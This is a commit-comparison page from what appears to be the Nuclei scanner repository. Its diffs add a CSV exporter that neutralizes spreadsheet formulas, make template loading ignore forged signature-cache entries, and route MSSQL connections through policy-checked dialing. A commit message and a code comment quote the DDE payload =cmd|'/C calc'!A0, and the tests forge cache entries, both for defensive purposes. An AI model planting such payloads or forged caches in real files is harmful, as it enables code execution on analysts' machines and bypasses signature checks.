Compare commits

...
Author SHA1 Message Date
Mzack9999 0505091a26 Merge pull request #7495 from DevamShah/feat/csv-result-exporter
feat(reporting): add CSV result exporter (-csv-export)
2026-11-09 14:55:38 +01:00
ghost 74904a8e62 chore(js): update memoized functions 🤖 2026-11-09 13:54:50 +00:00
Mzack9999 72e5254c09 Merge pull request #8082 from furious-05/fix/mssql-fastdialer
fix(js/mssql): route connections through fastdialer and improve error…
2026-11-09 14:53:30 +01:00
Mzack9999 947bf26d1e Merge pull request #8093 from hakarrr/fix-signature-cache-trust-7663
fix(templates): never trust cached verification verdicts (#7663)
2026-11-09 14:53:23 +01:00
Mzack9999 e819f26a57 tighten policy 2026-11-09 11:51:51 +01:00
generaltony007andgeneraltony007 7d93360e94 test(loader): poisoned metadata index cannot mark templates verified (#7663)
End-to-end: write a poisoned index.gob entry (self-consistent digest, real verifier fingerprint, Verified=true) and load through the store. Poisoned javascript/http templates are not treated as verified; unsigned flow templates still load unverified. Fails without the compile.go change.

Co-authored-by: generaltony007 <[email protected]>
2026-11-09 04:21:07 +05:30
generaltony007andgeneraltony007 533a4001d7 test(templates): forged verification cache entries are ignored (#7663)
Forge self-consistent cache entries (real verifier fingerprint, matching digest, Verified=true) and assert the poisoned verdict is ignored for code, javascript, http, flow, workflow, preprocessed and disk-loaded templates. Tests that previously faked verification through the callback now sign with the CI keypair. All new tests fail without the fix.

Co-authored-by: generaltony007 <[email protected]>
2026-11-09 04:20:43 +05:30
generaltony007andgeneraltony007 58ca1b55bd fix(templates): verify signatures instead of trusting cached verdicts (#7663)
The metadata cache (index.gob) is an unauthenticated local file: a forged entry could pair Verified=true with a real verifier fingerprint and the digest of an unsigned payload, skipping the ECDSA check entirely. DefaultTemplateVerifiers is now the sole verification path; the change is strictly fail-closed.

Co-authored-by: generaltony007 <[email protected]>
2026-11-09 04:20:09 +05:30
Mzack9999 dd71efcffc harden csv 2026-11-08 15:12:03 +01:00
Mzack9999 2f71e68f9a Merge remote-tracking branch 'origin/dev' into feat/csv-result-exporter 2026-11-08 15:00:25 +01:00
furious-05 0c6cb5ca3d fix(js/mssql): strip port before policy check in custom dialer 2026-11-08 13:03:47 +05:00
furious-05 c9e5aef28f fix(js/mssql): resolve staticcheck SA1029 and tighten error classification 2026-11-07 21:58:42 +05:00
furious-05 19daa84e8a fix(js/mssql): route connections through fastdialer and improve error classification
- Inject Nuclei's fastdialer via go-mssqldb HostDialer interface on Connector
- Ensure DNS resolution, proxy routing, and dial-time network policies are enforced
- Unify Connect and ExecuteQuery under openDB helper
- Remove PostgreSQL-specific pg_hba.conf error check and add cross-platform network error classification
- Add regression tests for HostDialer, network policy, closed port, and context cancellation
2026-11-07 17:57:29 +05:00
Devam Shah 58e49df9a8 fix(reporting): neutralize spreadsheet formulas in CSV export
encoding/csv stops a value from breaking out of its cell, but it does not
stop a spreadsheet from evaluating that cell. Widening the schema pulled
response-derived data into the file: extracted-results comes straight from
OutputExtracts, so a target chooses exactly what lands in that column. A
value such as =cmd|'/C calc'!A0 was written verbatim and executed when the
export was opened (CWE-1236).

formatRow now routes every string column through neutralizeFormula, which
prefixes a single apostrophe to values starting with = + - @ TAB or CR.
Values that parse as a number are left alone so cvss-score and port stay
numeric and sortable. Multi-value columns (extracted-results, reference)
are neutralized per element rather than only at the head of the cell,
because consumers split those cells back apart.

The transformation is reversible: the original value is the cell with at
most one leading apostrophe removed.

Tests: TestCSVExporterNeutralizesSpreadsheetFormulas asserts DDE,
HYPERLINK, @ and +/- payloads are neutralized across template-id,
template-name, description, host, matcher-name, curl-command,
extracted-results and reference while safe values and cvss-score are
untouched; TestNeutralizeFormula table-tests the helper, including the
numeric, leading-space and non-ASCII cases.

Signed-off-by: Devam Shah <[email protected]>
2026-09-18 11:51:55 +05:30
Devam Shah c4315d3eba feat(reporting): widen CSV exporter to a full-row schema
Addresses review feedback that the exporter dropped most of what triage
needs. The schema goes from 7 to 19 columns:

  template-id, template-name, template-type, severity, host, ip, port,
  matched-at, matcher-name, extractor-name, extracted-results, cve-id,
  cwe-id, cvss-metrics, cvss-score, description, reference,
  curl-command, timestamp

Column names mirror the JSON/JSONL keys of output.ResultEvent one-for-one
and match the names httpx uses in its own CSV mode where they overlap
(host, port, timestamp). template-name and template-type are the only two
that differ, mapping to info.name and type, because bare "name"/"type"
are ambiguous as spreadsheet headers.

Multi-valued columns pick their separator based on whether the value
domain can contain it: cve-id/cwe-id keep the ", " form used elsewhere in
nuclei since identifiers cannot contain a comma, while extracted-results
and reference are newline separated inside their quoted cell because both
carry response- or URL-derived values that can.

Rows are now flushed as they are written, so the file is complete and
parseable while a long scan is still running.

Tests: TestCSVExporterEscapesStructuralCharacters feeds commas, double
quotes, LF and CRLF through every attacker-influenced column and asserts
the raw file quotes and doubles correctly, that the file still parses as
exactly two records of len(header) cells, and that every value round
trips unchanged. TestCSVExporterFlushesRowsBeforeClose covers the
streaming behaviour.

Signed-off-by: Devam Shah <[email protected]>
2026-09-18 11:51:55 +05:30
Devam Shah 6b1676736c feat(reporting): add CSV result exporter (-csv-export)
Adds a CSV exporter under pkg/reporting/exporters/csv, wired into the
reporting module and exposed via -csv-export / -ce. It writes one
flattened row per result with a stable, spreadsheet/SIEM-friendly schema:
template-id, severity, host, matched-at, cve, cvss, timestamp.

Mirrors the existing exporter contract (New/Export/Close) and the flag
wiring pattern used by jsonl/pdf. All fields are written through
encoding/csv so adversarial values (commas/quotes/newlines in
attacker-influenced host/matched-at) cannot break out of their cell or
forge columns. Unit tests cover header+row, missing classification,
structural-injection escaping, and multi-CVE joining.

Signed-off-by: Devam Shah <[email protected]>
2026-09-18 11:51:55 +05:30
17 changed files with 1964 additions and 86 deletions

No files matched your search

+1
View File
@@ -220,6 +220,7 @@ OUTPUT:
-se, -sarif-export string file to export results in SARIF format
-je, -json-export string file to export results in JSON format
-jle, -jsonl-export string file to export results in JSONL(ine) format
-ce, -csv-export string file to export results in CSV format
-pe, -pdf-export string file to export results in PDF format
-rd, -redact string[] redact given list of keys from query parameter, request header and body
-nrd, -no-redact disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted
+1
View File
@@ -370,6 +370,7 @@ on extensive configurability, massive extensibility and ease of use.`)
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
flagSet.StringVarP(&options.CSVExport, "csv-export", "ce", "", "file to export results in CSV format"),
flagSet.StringVarP(&options.PDFExport, "pdf-export", "pe", "", "file to export results in PDF format"),
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
flagSet.BoolVarP(&options.NoRedact, "no-redact", "nrd", false, "disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted"),
+13
View File
@@ -25,6 +25,7 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
@@ -371,6 +372,18 @@ func createReportingOptions(options *types.Options) (*reporting.Options, error)
}
}
}
if options.CSVExport != "" {
// Combine the CLI options with the config file options with the CLI options taking precedence
if reportingOptions.CSVExporter != nil {
reportingOptions.CSVExporter.File = options.CSVExport
reportingOptions.CSVExporter.OmitRaw = options.OmitRawRequests
} else {
reportingOptions.CSVExporter = &csv.Options{
File: options.CSVExport,
OmitRaw: options.OmitRawRequests,
}
}
}
if options.PDFExport != "" {
if reportingOptions.PDFExporter != nil {
reportingOptions.PDFExporter.File = options.PDFExport
+29
View File
@@ -38,6 +38,35 @@ func TestCreateReportingOptions(t *testing.T) {
require.Equal(t, resultOptions2.DenyList.Severities, resultOptions.DenyList.Severities)
}
func TestCreateReportingOptionsCSVExport(t *testing.T) {
t.Run("flag only", func(t *testing.T) {
resultOptions, err := createReportingOptions(&types.Options{CSVExport: "out.csv", OmitRawRequests: true})
require.NoError(t, err)
require.NotNil(t, resultOptions.CSVExporter)
require.Equal(t, "out.csv", resultOptions.CSVExporter.File)
require.True(t, resultOptions.CSVExporter.OmitRaw)
})
t.Run("flag is not set", func(t *testing.T) {
resultOptions, err := createReportingOptions(&types.Options{})
require.NoError(t, err)
require.Nil(t, resultOptions.CSVExporter)
})
t.Run("flag takes precedence over config file", func(t *testing.T) {
config := filepath.Join(t.TempDir(), "report.yaml")
require.NoError(t, os.WriteFile(config, []byte("csv:\n file: from-config.csv\n"), 0o600))
resultOptions, err := createReportingOptions(&types.Options{ReportingConfig: config})
require.NoError(t, err)
require.Equal(t, "from-config.csv", resultOptions.CSVExporter.File)
resultOptions, err = createReportingOptions(&types.Options{ReportingConfig: config, CSVExport: "from-flag.csv"})
require.NoError(t, err)
require.Equal(t, "from-flag.csv", resultOptions.CSVExporter.File)
})
}
type TestStruct1 struct {
A string `yaml:"a"`
Struct *TestStruct2 `yaml:"b"`
+128
View File
@@ -2,6 +2,7 @@ package loader
import (
"bytes"
"crypto/sha256"
"os"
"path/filepath"
"reflect"
@@ -19,6 +20,7 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
templatesigner "github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
"github.com/projectdiscovery/nuclei/v3/pkg/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats"
"github.com/stretchr/testify/require"
@@ -685,9 +687,135 @@ http:
loaded := loadSingleTemplateForTest(t, templatePath, "loader-unsigned-flow-template")
require.Len(t, loaded, 1)
require.Equal(t, "unsigned-flow-template", loaded[0].ID)
require.False(t, loaded[0].Verified)
require.Equal(t, initialUnverifiedJavascript, stats.GetValue(templates.SkippedUnverifiedJavascriptTemplateStats))
}
func contentDigestForLoaderTest(data []byte) [32]byte {
dataDigest := sha256.Sum256(data)
return sha256.Sum256(dataDigest[:])
}
func loadTemplateWithPoisonedMetadata(t *testing.T, templatePath, executionID string, source []byte, disableUnsigned bool) []*templates.Template {
t.Helper()
fileInfo, err := os.Stat(templatePath)
require.NoError(t, err)
metadataIndex, err := metadataindex.NewIndex(t.TempDir())
require.NoError(t, err)
metadataIndex.Set(templatePath, &metadataindex.Metadata{
ID: "poisoned",
FilePath: templatePath,
ModTime: fileInfo.ModTime(),
Name: "Poisoned",
Authors: []string{"pdteam"},
Severity: "info",
Verified: true,
TemplateVerifier: "projectdiscovery/nuclei-templates",
VerifierFingerprint: templatesigner.DefaultTemplateVerifiers[0].Fingerprint(),
ContentDigest: contentDigestForLoaderTest(source),
Validation: metadataindex.ValidationStrict,
})
options := testutils.DefaultOptions.Copy()
options.Logger = &gologger.Logger{}
options.ExecutionId = executionID
options.DisableUnsignedTemplates = disableUnsigned
options.TemplateLoadingConcurrency = 1
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
catalog := disk.NewCatalog("")
executerOpts := testutils.NewMockExecuterOptions(options, nil)
executerOpts.Catalog = catalog
executerOpts.Parser = templates.NewParser()
executerOpts.Logger = options.Logger
workflowLoader, err := workflow.NewLoader(executerOpts)
require.NoError(t, err)
executerOpts.WorkflowLoader = workflowLoader
loaderConfig := NewConfig(options, catalog, executerOpts)
loaderConfig.MetadataIndex = metadataIndex
store, err := New(loaderConfig)
require.NoError(t, err)
loaded, err := store.LoadTemplates([]string{templatePath})
require.NoError(t, err)
return loaded
}
func TestLoadTemplatesIgnoresSelfConsistentCacheForJavascript(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-javascript.yaml")
source := []byte(`id: poisoned-cached-javascript
info:
name: Poisoned Cached Javascript
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("poisoned-cached-javascript")
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-javascript", source, false)
require.Empty(t, loaded)
}
func TestLoadTemplatesAllowsUnsignedFlowDespitePoisonedCache(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-flow.yaml")
source := []byte(`id: poisoned-cached-flow
info:
name: Poisoned Cached Flow
author: pdteam
severity: info
flow: http(1)
http:
- method: GET
path:
- "{{BaseURL}}"
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-flow", source, false)
require.Len(t, loaded, 1)
require.Equal(t, "poisoned-cached-flow", loaded[0].ID)
require.False(t, loaded[0].Verified)
require.True(t, loaded[0].IsFlowTemplate())
}
func TestLoadTemplatesSkipsPoisonedHttpWhenUnsignedDisabled(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-http.yaml")
source := []byte(`id: poisoned-cached-http
info:
name: Poisoned Cached HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
initialUnverified := stats.GetValue(templates.SkippedUnverifiedTemplateStats)
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-http-dut", source, true)
require.Empty(t, loaded)
require.Equal(t, initialUnverified+1, stats.GetValue(templates.SkippedUnverifiedTemplateStats))
}
func TestLoadTemplatesDoesNotRequireGlobalMatchersFlagToLoadTemplate(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "global-matchers.yaml")
err := os.WriteFile(templatePath, []byte(`id: global-matchers-template
-2
View File
@@ -8,8 +8,6 @@ import (
"fmt"
_ "github.com/microsoft/go-mssqldb"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
+87 -16
View File
@@ -9,11 +9,58 @@ import (
"net/url"
"strings"
_ "github.com/microsoft/go-mssqldb"
gomssql "github.com/microsoft/go-mssqldb"
"github.com/projectdiscovery/nuclei/v3/pkg/js/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
// mssqlCustomDialer routes connection dialing through Nuclei's fastdialer.
// Implementing HostDialer ensures the driver delegates hostname resolution to the dialer
// rather than using the local OS net.LookupIP, keeping DNS resolution, scan proxies,
// and dial-time network policies strictly enforced.
type mssqlCustomDialer struct {
executionId string
host string
}
var _ gomssql.HostDialer = (*mssqlCustomDialer)(nil)
func (d *mssqlCustomDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
dialers := protocolstate.GetDialersWithId(d.executionId)
if dialers == nil {
return nil, fmt.Errorf("dialers not initialized for %s", d.executionId)
}
targetHost, _, err := net.SplitHostPort(addr)
if err != nil {
targetHost = addr
}
if !protocolstate.IsHostAllowed(d.executionId, targetHost) {
return nil, protocolstate.ErrHostDenied.Msgf(targetHost)
}
return dialers.Fastdialer.Dial(ctx, network, addr)
}
func (d *mssqlCustomDialer) HostName() string {
return d.host
}
func openDB(executionId, target, username, password, dbName string) (*sql.DB, error) {
host, _, err := net.SplitHostPort(target)
if err != nil {
host = target
}
connString := mssqlConnString(target, username, password, dbName)
connector, err := gomssql.NewConnector(connString)
if err != nil {
return nil, err
}
connector.Dialer = &mssqlCustomDialer{
executionId: executionId,
host: host,
}
return sql.OpenDB(connector), nil
}
type (
// Client is a client for MS SQL database.
// Internally client uses microsoft/go-mssqldb driver.
@@ -67,9 +114,7 @@ func connect(ctx context.Context, executionId string, host string, port int, use
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
connString := mssqlConnString(target, username, password, dbName)
db, err := sql.Open("sqlserver", connString)
db, err := openDB(executionId, target, username, password, dbName)
if err != nil {
return false, err
}
@@ -79,16 +124,7 @@ func connect(ctx context.Context, executionId string, host string, port int, use
_, err = db.ExecContext(ctx, "select 1")
if err != nil {
switch {
case strings.Contains(err.Error(), "connect: connection refused"):
fallthrough
case strings.Contains(err.Error(), "no pg_hba.conf entry for host"):
fallthrough
case strings.Contains(err.Error(), "network unreachable"):
fallthrough
case strings.Contains(err.Error(), "reset"):
fallthrough
case strings.Contains(err.Error(), "i/o timeout"):
if isNetworkError(err) {
return false, err
}
return false, nil
@@ -96,6 +132,42 @@ func connect(ctx context.Context, executionId string, host string, port int, use
return true, nil
}
// isNetworkError reports whether an error indicates a network, dialer,
// timeout, or policy failure as opposed to a server-side authentication rejection.
func isNetworkError(err error) bool {
if err == nil {
return false
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return true
}
var netErr net.Error
if errors.As(err, &netErr) {
return true
}
errStr := strings.ToLower(err.Error())
for _, marker := range []string{
"connection refused",
"actively refused",
"port closed",
"unable to open tcp connection",
"network unreachable",
"connection reset",
"i/o timeout",
"connection timed out",
"context canceled",
"deadline exceeded",
"dialers not initialized",
"network policy",
"host denied",
} {
if strings.Contains(errStr, marker) {
return true
}
}
return false
}
// IsMssql checks if the given host is running MS SQL database.
// If the host is running MS SQL database, it returns true.
// If the host is not running MS SQL database, it returns false.
@@ -156,9 +228,8 @@ func (c *MSSQLClient) ExecuteQuery(ctx context.Context, host string, port int, u
}
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
connString := mssqlConnString(target, username, password, dbName)
db, err := sql.Open("sqlserver", connString)
db, err := openDB(executionId, target, username, password, dbName)
if err != nil {
return nil, err
}
+120
View File
@@ -1,9 +1,18 @@
package mssql
import (
"context"
"errors"
"net"
"strconv"
"testing"
"time"
gomssql "github.com/microsoft/go-mssqldb"
"github.com/microsoft/go-mssqldb/msdsn"
"github.com/projectdiscovery/goflags"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
"github.com/stretchr/testify/require"
)
@@ -33,3 +42,114 @@ func TestConnectionStringKeepsPlainDatabaseName(t *testing.T) {
require.Equal(t, "master", cfg.Database)
}
func TestOpenDBUsesCustomFastdialer(t *testing.T) {
execID := "mssql-opendb-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
db, err := openDB(execID, "127.0.0.1:1433", "user", "pass", "master")
require.NoError(t, err)
require.NotNil(t, db)
_ = db.Close()
}
func TestMssqlDialerEnforcesNetworkPolicy(t *testing.T) {
execID := "mssql-policy-test"
require.NoError(t, protocolstate.Init(&types.Options{
ExecutionId: execID,
ExcludeTargets: goflags.StringSlice{"denied.host"},
}))
t.Cleanup(func() { protocolstate.Close(execID) })
dialer := &mssqlCustomDialer{
executionId: execID,
host: "denied.host",
}
require.Equal(t, "denied.host", dialer.HostName())
var _ gomssql.HostDialer = dialer
_, err := dialer.DialContext(context.Background(), "tcp", "denied.host:1433")
require.Error(t, err)
require.Contains(t, err.Error(), "network policy")
uninitDialer := &mssqlCustomDialer{
executionId: "nonexistent-exec-id",
host: "example.com",
}
_, err = uninitDialer.DialContext(context.Background(), "tcp", "example.com:1433")
require.Error(t, err)
require.Contains(t, err.Error(), "dialers not initialized")
}
func TestConnectFailsFastOnClosedPort(t *testing.T) {
execID := "mssql-closed-port-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
ln, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)
_, portStr, err := net.SplitHostPort(ln.Addr().String())
require.NoError(t, err)
port, err := strconv.Atoi(portStr)
require.NoError(t, err)
_ = ln.Close()
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
ok, err := connect(ctx, execID, "127.0.0.1", port, "user", "pass", "master")
require.Error(t, err)
require.False(t, ok)
}
func TestConnectWithCanceledContext(t *testing.T) {
execID := "mssql-canceled-ctx-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
ctx, cancel := context.WithCancel(context.Background())
cancel() // Cancel immediately
ok, err := connect(ctx, execID, "127.0.0.1", 1433, "user", "pass", "master")
require.Error(t, err)
require.False(t, ok)
}
func TestIsNetworkError(t *testing.T) {
require.True(t, isNetworkError(errors.New("connect: connection refused")))
require.True(t, isNetworkError(errors.New("No connection could be made because the target machine actively refused it.")))
require.True(t, isNetworkError(errors.New("unable to open tcp connection with host '127.0.0.1:1433': cause=\"port closed or filtered\"")))
require.True(t, isNetworkError(errors.New("network unreachable")))
require.True(t, isNetworkError(errors.New("connection reset by peer")))
require.True(t, isNetworkError(errors.New("i/o timeout")))
require.True(t, isNetworkError(context.Canceled))
require.True(t, isNetworkError(context.DeadlineExceeded))
require.True(t, isNetworkError(protocolstate.ErrHostDenied.Msgf("127.0.0.1")))
// Server-side responses / authentication failures are not network errors
require.False(t, isNetworkError(nil))
require.False(t, isNetworkError(errors.New("mssql: Login failed for user 'sa'")))
require.False(t, isNetworkError(errors.New("mssql: Cannot open database \"secret\" requested by the login")))
require.False(t, isNetworkError(errors.New("mssql: Password has expired")))
require.False(t, isNetworkError(errors.New("mssql: Permission denied to database")))
require.False(t, isNetworkError(errors.New("mssql: Password must be reset")))
require.False(t, isNetworkError(errors.New("mssql: The query timed out")))
}
func TestExecuteQueryUsesFastdialer(t *testing.T) {
execID := "mssql-execute-query-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
client := &MSSQLClient{}
ctx := context.WithValue(context.Background(), "executionId", execID) //nolint:staticcheck // SA1029: executionId string key matches goja runtime injection
// Denied host should fail policy check immediately
_, err := client.ExecuteQuery(ctx, "denied.host", 1433, "user", "pass", "master", "SELECT 1")
require.Error(t, err)
// Closed port should fail
_, err = client.ExecuteQuery(ctx, "127.0.0.1", 65530, "user", "pass", "master", "SELECT 1")
require.Error(t, err)
}
+310
View File
@@ -0,0 +1,310 @@
package csv
import (
"encoding/csv"
"os"
"regexp"
"strconv"
"strings"
"sync"
"time"
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
const (
// defaultFile is used when no file is configured, mirroring the PDF
// exporter. The generated default reporting config lists every exporter with
// an empty block, and an empty block must not stop the client from starting.
defaultFile = "nuclei-results.csv"
// filePerm keeps the export private to the current user. Rows carry
// extracted response data and a replayable curl command, which can include
// credentials, so the file is not world readable by default.
filePerm = 0o600
// multiValueSeparator separates the elements of a multi-value cell.
multiValueSeparator = "\n"
)
// Options contains the configuration options for the CSV exporter client
type Options struct {
// File is the file to export found CSV result to
File string `yaml:"file"`
// OmitRaw whether to leave the curl command, which is a rendering of the raw
// request, out of the export
OmitRaw bool `yaml:"omit-raw"`
}
// header is the ordered list of columns written to the CSV file.
//
// The schema is a flattened full row of the result event: everything a triage
// or GRC workflow normally needs is present as its own column, so the file can
// be opened in a spreadsheet or handed to a ticketing/SIEM intake without any
// further transformation.
//
// Column names mirror the JSON/JSONL keys of output.ResultEvent one-for-one so
// a column can always be traced back to the field it came from, and match the
// names httpx uses in its own CSV mode where they overlap (host, port,
// timestamp). The two exceptions are template-name and template-type, which map
// to info.name and type: bare "name"/"type" are ambiguous as spreadsheet
// headers.
var header = []string{
"template-id",
"template-name",
"template-type",
"severity",
"host",
"ip",
"port",
"matched-at",
"matcher-name",
"extractor-name",
"extracted-results",
"cve-id",
"cwe-id",
"cvss-metrics",
"cvss-score",
"description",
"reference",
"curl-command",
"timestamp",
}
// Exporter is an exporter for nuclei results in CSV format
type Exporter struct {
options *Options
mutex *sync.Mutex
writer *csv.Writer
outputFile *os.File
closed bool
}
// New creates a new CSV exporter integration client based on options.
func New(options *Options) (*Exporter, error) {
opts := &Options{}
if options != nil {
*opts = *options
}
if opts.File == "" {
opts.File = defaultFile
}
outputFile, err := os.OpenFile(opts.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, filePerm)
if err != nil {
return nil, errors.Wrap(err, "failed to create CSV file")
}
writer := csv.NewWriter(outputFile)
if err := writer.Write(header); err != nil {
_ = outputFile.Close()
return nil, errors.Wrap(err, "failed to write CSV header")
}
writer.Flush()
if err := writer.Error(); err != nil {
_ = outputFile.Close()
return nil, errors.Wrap(err, "failed to write CSV header")
}
return &Exporter{
mutex: &sync.Mutex{},
options: opts,
writer: writer,
outputFile: outputFile,
}, nil
}
// Export appends the passed result event as a flattened row to the CSV file.
// Rows are flushed as they are written so the file is complete and readable
// while a long scan is still running. The event is only read, never modified,
// because the same event is handed to every exporter and tracker.
func (exporter *Exporter) Export(event *output.ResultEvent) error {
if event == nil {
return nil
}
exporter.mutex.Lock()
defer exporter.mutex.Unlock()
if exporter.closed {
return errors.New("CSV exporter is closed")
}
if err := exporter.writer.Write(formatRow(event, exporter.options.OmitRaw)); err != nil {
return errors.Wrap(err, "failed to write CSV row")
}
exporter.writer.Flush()
if err := exporter.writer.Error(); err != nil {
return errors.Wrap(err, "failed to write CSV row")
}
return nil
}
// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
// Google Sheets treat as the start of a formula. A cell beginning with one of
// them is evaluated when the file is opened, so a response-derived value such
// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
// of whoever opens the export (CWE-1236).
const formulaTriggers = "=+-@\t\r"
// plainNumber matches a value that is only a decimal number. It is used to keep
// numeric cells such as a negative extracted value sortable. It is deliberately
// stricter than strconv.ParseFloat, which also accepts forms like "+Inf",
// "-NaN" and hex floats that a spreadsheet does not read as numbers.
var plainNumber = regexp.MustCompile(`^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$`)
// startsWithFormulaTrigger reports whether a spreadsheet would read the value
// as a formula. Leading spaces and control characters are skipped first,
// because some spreadsheets ignore them before the trigger.
func startsWithFormulaTrigger(value string) bool {
for i := 0; i < len(value); i++ {
c := value[i]
if strings.IndexByte(formulaTriggers, c) >= 0 {
return true
}
if c > ' ' {
return false
}
}
return false
}
// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
// would evaluate as a formula, which forces the cell to be read as text.
//
// The original value is recovered by removing one leading apostrophe, except
// for a value that already started with an apostrophe, which is left alone and
// is therefore indistinguishable from a neutralized one. Values that are only a
// plain number are left untouched so numeric columns (cvss-score, port) stay
// sortable and a negative number is not needlessly quoted.
func neutralizeFormula(value string) string {
if !startsWithFormulaTrigger(value) || plainNumber.MatchString(value) {
return value
}
return "'" + value
}
// neutralizeLines neutralizes every line of a value that is stored as a list
// of lines. Consumers split these cells back into lines, so each line has to be
// safe on its own and not just the start of the cell. Line endings are
// normalized to a single newline, which is the separator of the list.
func neutralizeLines(value string) string {
if value == "" {
return ""
}
value = strings.ReplaceAll(value, "\r\n", "\n")
value = strings.ReplaceAll(value, "\r", "\n")
lines := strings.Split(value, "\n")
for i, line := range lines {
lines[i] = neutralizeFormula(line)
}
return strings.Join(lines, "\n")
}
// neutralizeList joins the elements of a multi-value column with the given
// separator after neutralizing each element, and each line of each element.
func neutralizeList(values []string, separator string) string {
if len(values) == 0 {
return ""
}
neutralized := make([]string, 0, len(values))
for _, value := range values {
neutralized = append(neutralized, neutralizeLines(value))
}
return strings.Join(neutralized, separator)
}
// formatRow flattens a ResultEvent into the ordered set of CSV columns defined
// by header. Empty values are emitted for fields that are not present on the
// event (for example, templates without CVE/CVSS classification metadata).
//
// Two separate escaping concerns are handled here. Structural injection is
// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
// formula evaluation is handled by neutralizeFormula, because the target of
// this exporter is explicitly a file someone opens in a spreadsheet. Every
// column goes through it, including the ones that normally hold a controlled
// value, because template metadata is written by the template author and is not
// trusted either.
func formatRow(event *output.ResultEvent, omitRaw bool) []string {
var cve, cwe, cvssMetrics, cvssScore string
if event.Info.Classification != nil {
classification := event.Info.Classification
// CVE/CWE identifiers cannot contain a comma, so they keep the ", "
// form used everywhere else in nuclei.
cve = neutralizeList(classification.CVEID.ToSlice(), ", ")
cwe = neutralizeList(classification.CWEID.ToSlice(), ", ")
cvssMetrics = classification.CVSSMetrics
if classification.CVSSScore > 0 {
cvssScore = strconv.FormatFloat(classification.CVSSScore, 'f', -1, 64)
}
}
// References are URLs and can themselves contain a comma, so they are
// newline separated inside the (quoted) cell rather than comma separated.
var reference string
if event.Info.Reference != nil {
reference = neutralizeList(event.Info.Reference.ToSlice(), multiValueSeparator)
}
var curlCommand string
if !omitRaw {
curlCommand = event.CURLCommand
}
var timestamp string
if !event.Timestamp.IsZero() {
timestamp = event.Timestamp.UTC().Format(time.RFC3339)
}
return []string{
neutralizeFormula(event.TemplateID),
neutralizeFormula(event.Info.Name),
neutralizeFormula(event.Type),
neutralizeFormula(event.Info.SeverityHolder.Severity.String()),
neutralizeFormula(event.Host),
neutralizeFormula(event.IP),
neutralizeFormula(event.Port),
neutralizeFormula(event.Matched),
neutralizeFormula(event.MatcherName),
neutralizeFormula(event.ExtractorName),
// Extracted results are arbitrary response-derived data and can contain
// commas and newlines, so they are newline separated inside the
// (quoted) cell, with every line neutralized on its own.
neutralizeList(event.ExtractedResults, multiValueSeparator),
cve,
cwe,
neutralizeFormula(cvssMetrics),
neutralizeFormula(cvssScore),
neutralizeFormula(event.Info.Description),
reference,
neutralizeFormula(curlCommand),
neutralizeFormula(timestamp),
}
}
